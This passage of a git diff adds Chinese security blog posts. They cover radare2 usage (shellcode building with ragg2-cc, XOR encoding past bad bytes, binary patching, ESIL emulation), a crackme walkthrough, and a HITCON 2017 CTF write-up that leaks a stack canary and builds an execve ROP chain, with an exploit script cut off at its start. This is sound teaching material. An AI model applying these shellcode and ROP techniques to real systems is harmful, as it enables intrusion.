+haclh@ubuntu:~$ rasm2 -a arm -d 0000a0e10000a0e10000a0e1 -r +e asm.arch=arm +e asm.bits=32 +"wa mov r0, r0;mov r0, r0;mov r0, r0;" + +``` + + +### ragg2/ragg2·cc + +`radare2` 自己实现的 c 编译器,可以方便的写` shellcode` . +示例一: + +代码如下 +``` +int main() { write (1,"hi\n", 3); exit(0); } + +``` + +使用下面的命令,把它编译成x86 32位代码: + +`ragg2-cc -a x86 -b 32 -d -o test test.c` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509456151971l3h3i5vj.png?imageslim) + +可以生成正常的 `elf` 文件用于测试,可以使用 `-c` 只编译出 `shellcode` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15094562677604lzx38lm.png?imageslim) +生成的 `shellcode` 存在于 `test.c.text` 文件里面,下面是用 `radare2` 反汇编得到的代码,可以看到使用了 系统调用来实现代码的功能。 + + +使用 `ragg2-cc` 生成的 `shellcode` 可以使用 `ragg2`中的 `xor` 编码器来编码字符,绕过一些字符限制,比如 `\x00`。 +首先生成`shellcode` 的16进制表示。 + +``` +ragg2-cc -a x86 -b 32 -d -x test.c +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/150945684017052tc8caw.png?imageslim) + +然后使用 `rasm2` 验证下 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509456968736cujc5nti.png?imageslim) +代码和上面的是一样的。 +然后使用 `ragg2` 使用 `xor` 编码器编码 `shellcode` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509457754035xiiwmp5s.png?imageslim) + +就是在 `shellcode` 执行前使用 `xor` 指令把`shellcode` 还原。这样就可以消除掉一些坏字符。 + +`ragg2` 也有自己 编写 `shellcode` 的语法。下面是一个示例,具体请看官方文档。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509458272098w4gx320m.png?imageslim) + +使用这种方式,我们就能使用最接近 `汇编` 的类c语言 来编写跨平台 `shellcode` + +### rahash2 + +用于使用加密算法,hash算法等计算值 + +使用`-L` 可以列举支持的算法,比如算算 md5 +``` +haclh@ubuntu:~$ rahash2 -a md5 -s admin +0x00000000-0x00000004 md5: 21232f297a57a5a743894a0e4a801fc3 + +``` + + +### radare2 +最常用的工具了。整合了上面所有的工具。直接使用 `r2 target_bin` 进入程序。使用`-d` 选项进入调试模式。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509458880413jxib0gco.png?imageslim) +`radare2` 中的命令格式为 +``` +[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; +``` +`px`表示打印16进制数,默认从当前位置开始。参数控制打印的字节数,下面这张图应该就可以大概解释上面的格式了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509459118495u8fvnh9m.png?imageslim) + +`@ addr` 表示该命令从 `addr` 开始执行。`addr` 不一定是 地址也可以是 `radare2` 中识别的符号,比如 `main` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/150945933341282rex3iw.png?imageslim) +还有一个重要的东西要记得,在命令的后面加个 `?` ,就可以查看帮助。直接输入`?` 可以查看所有的命令。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509459469161neog4ssx.png?imageslim) + +下面按照我们在 `ida` 中使用的功能,来介绍 `radare2` +首先在 用 `ida` 分析程序时,在 `ida` 加载程序后默认会对程序进行分析。`radare2` 相应的功能是以 `a` 开头的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509459639393vrpsfsr3.png?imageslim) +注释很简明了。我们使用 `aaa` 就可以进行完整分析了。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509459732526wt8fv8vk.png?imageslim) + +分析前 `radare2` 识别不了函数,分析后就可以正常打印函数代码了(`pdf` 打印函数代码) + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509459800808z40o2w75.png?imageslim) + +有时候我们不需要分析整个 二进制文件,或者有个函数 `radare2`没有识别出来我们可以 `af` 来分析该函数。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460038689y3ejljvr.png?imageslim) + +我们可以使用 `s` 跳转到想要跳转的位置。 +跳转到 `main` 函数,并 定义该函数,然后打印函数代码 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15094601604612rtzywu2.png?imageslim) + + +`pd` 类命令用于打印汇编信息。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460248195wabrhoh5.png?imageslim) + +具体看帮助。 +使用 `VV` 进入 图形化模式(需要是函数范围内)。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15094603917512ee12s3o.png?imageslim) +在图形化模式下,输入 `?` 可以查看图形化模式的帮助。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460451292vd4u4cma.png?imageslim) + +使用 `hjkl` 来移动图形 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460648267s237v95k.png?imageslim) + +使用 `p/P` 切换图形模式 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460704922bax3wo07.png?imageslim) + +在图形模式下使用 `:` 可以输入`radare2` 命令 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461026761tbpeekgu.png?imageslim) + +输入 `!` , 在调试的时候应该很有用 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461098057g2hz9wjr.png?imageslim) + +使用 空格 ,切换图形模式和文本模式 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460817550ho8w5er5.png?imageslim) + +在文本模式模式下也可以使用 `p` 来切换视图。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509460884141o5b4k28f.png?imageslim) +剩下的看帮助。 + + +下面介绍如何使用 `radare2 ` patch程序。首先需要在打开文件时使用 `r2 -w ` 来以可写模式打开文件,这样 `pathch` 才能应用到文件 ( 或者在 `radare2` 下使用 `e io.cache=true`, 来允许进行 `patch`, 不过这样的话文件的修改不会影响原文件 ) + +`w` 系列命令用于修改文件。 + +使用 `wa` 可以使用 汇编指令进行 `patch` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461504180vks7xzbj.png?imageslim) + +使用 `"wa nop;nop;nop;nop;"` 可以同时写入多条指令。 +`双引号不能省` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461564911w4lzfklw.png?imageslim) +或者可以使用 `wx` 写入 16进制数据 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461691131dl2qawda.png?imageslim) +其他的请看 `w?` ,查看帮助。 + +还可以 `可视化汇编/patch` 程序 + +输入 `Vp` ,然后输入 `A`, 就可以了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509461967246b3yfuntc.png?imageslim) + + +使用 `/` 系列命令可以搜索字符串, rop gadgets等 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15094620829681a9ko1pz.png?imageslim) + +查询字符串交叉引用可以依次使用下列方法。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509462186812m98x995a.png?imageslim) + +`ax?` 系列命令用于管理交叉引用。 `/r ` 可以搜索交叉引用, `aae` 是使用`radare2`中的模拟执行功能,动态的检测交叉引用。 + +**下面画重点** + + + +`radare2`中其实也是有 `反编译功能`, 使用 `pdc` 就可以查看伪代码,虽然和 `ida` 的还有很大的差距,但是在一些 `ida` 不支持 `f5` 的情况下这个功能还是不错的,可以用来看程序的大概逻辑。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509462614283a92qwc4d.png?imageslim) + +在图形化模式下,按下 `$` 看看,有惊喜。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509462803351x6n0h9gz.png?imageslim) +帮我们解析汇编指令,用 c 代码的格式来显示。妈妈再也不用担心我不会汇编了。 + + +`radare2`和 `ida` 相比还有一个最大的优势,那就是它自带模拟执行功能。它使用了一种 `esil` 语言,来定义程序的行为,并且可以根据这个来模拟执行程序代码。 + +`ESIL ` 的具体语法可以去看官方文档。下面列举两个示例: + +``` +mov ecx, ebx -> ebx,ecx,= +add ebx, edi ->edi,ebx,+=,$o,of,=,$s,sf,=,$z,zf,=,$c31,cf,=,$p, +``` + +可以使用 `e asm.esil = true`显示 `esil` 代码 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509464681373qlis3k0v.png?imageslim) +和 `ESIL `相关的命令是 + +`ae?`这一类指令。这个我也不熟悉,大概的用法是,使用 `ae?`这一类指令设置好 指令执行虚拟机的状态,然后设置好模拟执行的终止状态,在停止时,做一些操作,主要用于解密字符串,脱壳等等。 + +具体事例可以看: + +https://blog.xpnsec.com/radare2-using-emulation-to-unpack-metasploit-encoders/ + + +此外 `radare2`还支持各种语言对他进行调用, 以及拥有大量的插件。 +### 总结 + + `radare2`还是很强大的,特别是全平台反编译,全平台模拟执行,各种文件的patch, 修改。感觉在 ida 没法 `f5 `的平台上首选 `radare2` + + + + 参考: + + http://radare.org/r/talks.html + + https://github.com/radare/radare2book + + https://codeload.github.com/radareorg/r2con/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part8.md b/source/_posts/step_by_step_pwn_router_part8.md new file mode 100644 index 00000000..f9cef099 --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part8.md @@ -0,0 +1,101 @@ +--- +title: 一步一步pwn路由器之radare2使用实战 +authorId: hac425 +tags: + - radare2 +categories: + - 路由器安全 +date: 2017-11-01 19:33:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +前文讲了一些 `radare2` 的特性相关的操作方法。本文以一个 `crackme` 来具体介绍下 `radare2` 的使用 + +程序的地址: [在这里](https://gitee.com/hac425/blog_data/blob/master/crackme0x03) + +### 正文 + +首先使用 `radare2` 加载该程序。使用了 `aaa` 分析了程序中的所有函数。使用 `iI` 查看二进制文件的信息。可以看到是 `32` 位的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509536312825toj2ruk1.png?imageslim) + +使用 `aaa`分析完程序后,可以使用 `afl` 查看所有的函数。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509536413775tyxowxq5.png?imageslim) +直接跳到 `main` 函数看看逻辑 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15095364686834obsuwoc.png?imageslim) + +不习惯看文本模式的汇编的话,可以使用 `VV` 进入图形化模式 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509536557600j6sv26da.png?imageslim) + +拿到个程序,我会首先看函数调用理解程序的大概流程。比如这里先调用了 `printf` 打印了一些提示信息,然后使用 `scanf` 获取我们的输入,分析 `scanf`的参数 +``` +| 0x080484cc 8d45fc lea eax, [local_4h] +| 0x080484cf 89442404 mov dword [local_4h_2], eax +| 0x080484d3 c70424348604. mov dword [esp], 0x8048634 ; [0x8048634:4]=0x6425 +| 0x080484da e851feffff call sym.imp.scanf ; int scanf(const char *format) + + +``` +我们可以知道`0x8048634 ` 是我们的第一个参数, `local_4h`是我们的第二个参数。看看 `0x8048634 `存放的是什么。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509536913132ckutls7d.png?imageslim) + +所以程序需要我们输入的是一个 整数,然后把它存在 `local_4h`里面了。那我们就可以把 `local_4h` 变量改下名字。这里改成 `input` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509537156669asiszojb.png?imageslim) + +继续往下看发现 `input` 变量后来没有被处理直接传到了 `test` 函数。他的第二个参数是这样生成的 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509538263559azqlu0hp.png?imageslim) + +为了获得这个参数我们有很多方法,比如 我们可以直接静态分析,或者用 `gdb` 调试这都很容易得到结果。 + +这里正好试试 `radare` 的模拟执行功能。使用该功能我们需要先分析要模拟执行的代码对环境的依赖,比如寄存器的值,内存的值等,然后根据依赖关系修改内存和寄存器的值来满足代码运行的上下文。 + +在这里这段代码只对栈的内存进行了处理。那我们就先分配一块内存,然后用 `esp` 刚刚分配的内存。由于这里一开始没有对内存数据进行读取,所以我们直接使用分配的内存就好,不用对他进行处理。 + + +首先我们跳到目标地址,然后使用 `aei` 或者 `aeip` 初始化虚拟机堆栈,然后使用 `aer` 查看寄存器状态。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15095388389068csy8248.png?imageslim) + +然后分配一块内存作为栈内存,给程序模拟执行用。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509538957638rwu5ocqr.png?imageslim) + +在 `0xff0000` 分配了 `0x40000` 大小的内存。然后把 `esp` 和 `ebp` 指到这块内存里面。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509539081176y3sckgra.png?imageslim) + +然后我们让模拟器运行到 `0x0804850c` 也就是调用 `test` 函数的位置处,查看他的参数,可以看到第二个参数的值就是 `0x00052b24` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509539169362t234cqgc.png?imageslim) +最后我们进去 `test` 函数里面看看 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/150953929096164elui3y.png?imageslim) +就是判断 `参数一` 和 `参数二` 是否一致,所以这个 `crackme` 的 `key` 就是 `0x00052b24` 十进制数表示 `338724`. +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509539408734tys3o1xg.png?imageslim) + +成功 + + +### 总结 + +`radare2` 的模拟执行功能是通过 `esil` 来实现的,粗略的试了一下感觉还是挺不错的感觉和 `unicorn` 有的一拼,不过`radare2`也是有 `unicorn`的插件的。 + + + + 参考: + + http://radare.org/r/talks.html + + https://github.com/radare/radare2book + + https://codeload.github.com/radareorg/r2con/ \ No newline at end of file diff --git a/source/_posts/syscall_to_rop.md b/source/_posts/syscall_to_rop.md new file mode 100644 index 00000000..56f1de01 --- /dev/null +++ b/source/_posts/syscall_to_rop.md @@ -0,0 +1,135 @@ +--- +title: syscall to rop +authorId: hac425 +tags: + - rop + - syscall +categories: + - ctf +date: 2017-12-16 14:22:00 +--- +### 前言 + +`hitcon 2017` 的 `start` 题,比较简单,练练手。 + +题目链接: + +https://gitee.com/hac425/blog_data/tree/master/hitcon2017 + + + +### 正文 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513405464132pvttkl9d.png?imageslim) + +往 `rbp-0x20` 读入 `0xd9` 的数据,溢出。 +程序开了 `cancary` ,又后面直接 `puts` 把我们输入的打印出来 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513405574819gtyg37m3.png?imageslim) + +我们可以直接溢出到 `cancary`, 然后用 `puts` 泄露 `cancary`, 这里有个小 `tips` , `cancary` 的最低位 为 `\x00`, 我们需要多多溢出一个 字节,覆盖掉这个 `\x00`, 这样才能 泄露 `cancary`。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134057198437r3x6q4n.png?imageslim) +拿到 `cancary` 后就是正常的 `rop` 了,直接使用 + +``` +ROPgadget --binary ./start --ropchain +``` +生成 `rop` 链,不过此时的 `rop` 链太长,我们需要改一改。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513405845676igvlyleg.png?imageslim) + +后面用来大量的 `add` 来设置 `rax` 设置后面的 `syscall` 的系统调用号。最后调用 `execve(“/bin//sh”, 0, 0)`, 把这一大串直接用前面找到的 `gadgets` 替换掉即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134060054129ceaklcy.png?imageslim) +长度刚好。 + + + +### 总结 + +`rop` 没必要一个一个手撸, 改改生成的就行,然后就是 `send` 之间一定要 `sleep` ,要不然玄学...... + + + +完整exp + +``` +#!/usr/bin/env python +# encoding: utf-8 + +from pwn import * +context.log_level = "debug" + +from struct import pack +import time + +# Padding goes here +p = '' + +p += pack('